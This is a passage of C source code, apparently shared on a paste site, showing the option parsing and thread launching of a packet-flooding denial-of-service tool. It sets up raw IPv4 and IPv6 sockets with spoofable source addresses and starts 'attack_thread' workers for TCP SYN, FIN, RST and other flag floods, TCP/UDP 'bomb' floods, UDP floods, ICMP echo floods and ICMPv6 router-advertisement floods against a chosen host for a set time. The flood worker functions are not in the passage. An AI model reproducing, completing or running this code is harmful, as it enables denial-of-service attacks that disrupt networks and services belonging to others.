  732. thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
  733. thread_data_array[TCP_FRG].datasize = datasize;
  734. break;
  735. }
  736. break;
  737. case 'B':
  738. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  739. bombsize = 64;
  740. if(bombsize == 0)
  741. bombsize = atoi(p + 1);
  742. if(bombsize > 2048)
  743. bombsize = 2048;
  744. switch (atoi(optarg))
  745. {
  746. case 0:
  747. thread_data_array[TCP_BMB].initialized = 1;
  748. thread_data_array[0].a_flags |= TCP_BMB;
  749. thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  750. thread_data_array[TCP_BMB].bombsize = bombsize;
  751. break;
  752. case 1:
  753. thread_data_array[UDP_BMB].initialized = 1;
  754. thread_data_array[0].a_flags |= UDP_BMB;
  755. thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  756. thread_data_array[UDP_BMB].bombsize = bombsize;
  757. break;
  758. case 2:
  759. thread_data_array[RAW_BMB].initialized = 1;
  760. thread_data_array[0].a_flags |= RAW_BMB;
  761. thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  762. thread_data_array[RAW_BMB].bombsize = bombsize;
  763. break;
  764. }
  765. break;
  766. case 'I':
  767. thread_data_array[ICMP6_ROUTERADV].initialized = 1;
  768. thread_data_array[0].a_flags |= ICMP6_ROUTERADV;
  769. thread_data_array[ICMP6_ROUTERADV].a_flags |= ICMP6_ROUTERADV;
  770. break;
  771. case 'R':
  772. thread_data_array[ICMP_ECHO_G].initialized = 1;
  773. thread_data_array[0].a_flags |= ICMP_ECHO_G;
  774. thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  775. break;
  776. case 'U':
  777. thread_data_array[UDP_CFF].initialized = 1;
  778. thread_data_array[0].a_flags |= UDP_CFF;
  779. thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  780. break;
  781. case 'h':
  782. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  783. {
  784. DestAddress4.sin_family = AF_INET;
  785. inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  786. thread_data_array[0].dstaddr = lookup(optarg);
  787. thread_data_array[0].destination4 = DestAddress4;
  788. }
  789. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  790. {
  791. DestAddress6.sin6_family = AF_INET6;
  792. inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  793. thread_data_array[0].destination6 = DestAddress6;
  794. }
  795. else
  796. {
  797. printf("-4 and -6 can not both be specified.\n\n");
  798. usage(argv[0]);
  799. }
  800. break;
  801. case 'd':
  802. thread_data_array[0].dst_class = optarg;
  803. break;
  804. case 's':
  805. thread_data_array[0].src_class = optarg;
  806. break;
  807. case 'p':
  808. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  809. usage(argv[0]);
  810. thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
  811. thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
  812. break;
  813. case 'q':
  814. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  815. usage(argv[0]);
  816. thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
  817. thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
  818. break;
  819. case 't':
  820. thread_data_array[0].timeout = atoi(optarg);
  821. break;
  822. case 'w':
  823. window_size = atoi(optarg);
  824. if(window_size > 65535)
  825. window_size = 65535;
  826. thread_data_array[0].window_size = window_size;
  827. break;
  828. default:
  829. usage(argv[0]);
  830. break;
  831. }
  832. }
  833. if (!thread_data_array[0].timeout) {
  834. usage(argv[0]);
  835. }
  836. if (!thread_data_array[0].src_class) {
  837. if(thread_data_array[0].flag6 == 1) {
  838. static char ipstring[3];
  839. strcat(ipstring, ":");
  840. thread_data_array[0].src_class = class2ip6(ipstring);
  841. }
  842. }
  843. if ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6) ||
  844. (!thread_data_array[0].a_flags) ||
  845. (!thread_data_array[0].timeout)
  846. )
  847. {
  848. usage(argv[0]);
  849. }
  850. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  851. int i;
  852. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  853. if ( thread_data_array[i].initialized == 1 ) {
  854. if ( thread_data_array[i].a_flags <= TCP_FRG ||
  855. thread_data_array[i].a_flags == RAW_BMB ||
  856. thread_data_array[i].a_flags == ICMP_ECHO_G
  857. )
  858. {
  859. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  860. perror("socket");
  861. exit(-1);
  862. }
  863. }
  864. else if(thread_data_array[i].a_flags == TCP_BMB)
  865. {
  866. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  867. perror("socket");
  868. exit(-1);
  869. }
  870. }
  871. else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF)
  872. {
  873. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
  874. perror("socket");
  875. exit(-1);
  876. }
  877. }
  878. if (thread_data_array[i].a_flags != UDP_BMB) {
  879. if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  880. perror("setsockopt");
  881. exit(-1);
  882. }
  883. }
  884. }
  885. }
  886. printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr,thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ? thread_data_array[0].src_class :"random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
  887. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  888. }
  889. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  890. int i;
  891. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  892. if ( thread_data_array[i].initialized== 1 ) {
  893. if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags == RAW_BMB) {
  894. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0) {
  895. perror("socket");
  896. exit(-1);
  897. }
  898. }
  899. else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF)
  900. {
  901. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0) {
  902. perror("socket");
  903. exit(-1);
  904. }
  905. }
  906. else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  907. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
  908. perror("socket");
  909. exit(-1);
  910. }
  911. }
  912. if (thread_data_array[i].a_flags != UDP_BMB) {
  913. if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  914. perror("setsockopt");
  915. exit(-1);
  916. }
  917. }
  918. }
  919. }
  920. printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,thread_data_array[0].DestIP6, sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
  921. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  922. }
  923. signal (SIGINT, handle_exit);
  924. signal (SIGTERM, handle_exit);
  925. signal (SIGQUIT, handle_exit);
  926. thread_data_array[0].start = time(NULL);
  927. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  928. if (thread_data_array[i].a_flags == TCP_FIN) {
  929. thread_data_array[i].thread = i;
  930. thread_data_array[i].packets = 0;
  931. thread_data_array[i].th_flags = TH_FIN;
  932. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  933. printf("+ Thread error:\n");
  934. perror("- pthread_create()\n");
  935. }
  936. }
  937. if (thread_data_array[i].a_flags == TCP_SYN) {
  938. thread_data_array[i].thread = i;
  939. thread_data_array[i].packets = 0;
  940. thread_data_array[i].th_flags = TH_SYN;
  941. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  942. printf("+ Thread error:\n");
  943. perror("- pthread_create()\n");
  944. }
  945. }
  946. if (thread_data_array[i].a_flags == TCP_RST) {
  947. thread_data_array[i].thread = i;
  948. thread_data_array[i].packets = 0;
  949. thread_data_array[i].th_flags = TH_RST;
  950. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  951. printf("+ Thread error:\n");
  952. perror("- pthread_create()\n");
  953. }
  954. }
  955. if (thread_data_array[i].a_flags == TCP_PSH) {
  956. thread_data_array[i].thread = i;
  957. thread_data_array[i].packets = 0;
  958. thread_data_array[i].th_flags = TH_PUSH;
  959. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  960. {
  961. printf("+ Thread error:\n");
  962. perror("- pthread_create()\n");
  963. }
  964. }
  965. if (thread_data_array[i].a_flags == TCP_ACK) {
  966. thread_data_array[i].thread = i;
  967. thread_data_array[i].packets = 0;
  968. thread_data_array[i].th_flags = TH_ACK;
  969. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  970. {
  971. printf("+ Thread error:\n");
  972. perror("- pthread_create()\n");
  973. }
  974. }
  975. if (thread_data_array[i].a_flags == TCP_URG) {
  976. thread_data_array[i].thread = i;
  977. thread_data_array[i].packets = 0;
  978. thread_data_array[i].th_flags = TH_URG;
  979. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  980. {
  981. printf("+ Thread error:\n");
  982. perror("- pthread_create()\n");
  983. }
  984. }
  985. if (thread_data_array[i].a_flags == TCP_ECE) {
  986. thread_data_array[i].thread = i;
  987. thread_data_array[i].packets = 0;
  988. thread_data_array[i].th_flags = TH_SYN;
  989. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  990. {
  991. printf("+ Thread error:\n");
  992. perror("- pthread_create()\n");
  993. }
  994. }
  995. if (thread_data_array[i].a_flags == TCP_CWR) {
  996. thread_data_array[i].thread = i;
  997. thread_data_array[i].packets = 0;
  998. thread_data_array[i].th_flags = TH_SYN;
  999. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1000. {
  1001. printf("+ Thread error:\n");
  1002. perror("- pthread_create()\n");
  1003. }
  1004. }
  1005. if (thread_data_array[i].a_flags == TCP_NOF) {
  1006. thread_data_array[i].thread = i;
  1007. thread_data_array[i].packets = 0;
  1008. thread_data_array[i].th_flags = TH_NOF;
  1009. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1010. {
  1011. printf("+ Thread error:\n");
  1012. perror("- pthread_create()\n");
  1013. }
  1014. }
  1015. if (thread_data_array[i].a_flags == TCP_FRG) {
  1016. thread_data_array[i].thread = i;
  1017. thread_data_array[i].packets = 0;
  1018. thread_data_array[i].th_flags = TH_NOF;
  1019. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1020. {
  1021. printf("+ Thread error:\n");
  1022. perror("- pthread_create()\n");
  1023. }
  1024. }
  1025. if (thread_data_array[i].a_flags == TCP_BMB) {
  1026. thread_data_array[i].thread = i;
  1027. thread_data_array[i].packets = 0;
  1028. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1029. printf("+ Thread error:\n");
  1030. perror("- pthread_create()\n");
  1031. }
  1032. }
  1033. if (thread_data_array[i].a_flags == UDP_BMB) {
  1034. thread_data_array[i].thread = i;
  1035. thread_data_array[i].packets = 0;
  1036. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1037. printf("+ Thread error:\n");
  1038. perror("- pthread_create()\n");
  1039. }
  1040. }
  1041. if (thread_data_array[i].a_flags == RAW_BMB) {
  1042. thread_data_array[i].thread = i;
  1043. thread_data_array[i].packets = 0;
  1044. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1045. printf("+ Thread error:\n");
  1046. perror("- pthread_create()\n");
  1047. }
  1048. }
  1049. if (thread_data_array[i].a_flags == UDP_CFF) {
  1050. thread_data_array[i].thread = i;
  1051. thread_data_array[i].packets = 0;
  1052. if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
  1053. printf("+ Thread error:\n");
  1054. perror("- pthread_create()\n");
  1055. }
  1056. }
  1057. if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  1058. thread_data_array[i].thread = i;
  1059. thread_data_array[i].packets = 0;
  1060. if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
  1061. printf("+ Thread error:\n");
  1062. perror("- pthread_create()\n");
  1063. }
  1064. }
  1065. if (thread_data_array[i].a_flags == ICMP6_ROUTERADV) {
  1066. thread_data_array[i].thread = i;
  1067. thread_data_array[i].packets = 0;
  1068. if(pthread_create(&attack_thread[i], NULL, &send_icmp_ra, (void *)&thread_data_array[i]) != 0) {
  1069. printf("+ Thread error:\n");
  1070. perror("- pthread_create()\n");
  1071. }
  1072. }
  1073. }
  1074. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  1075. if(attack_thread[i] != 0)
  1076. pthread_join(attack_thread[i], NULL);
  1077. }
  1078. exit(0);
  1079. }
Add Comment
Please, Sign In to add comment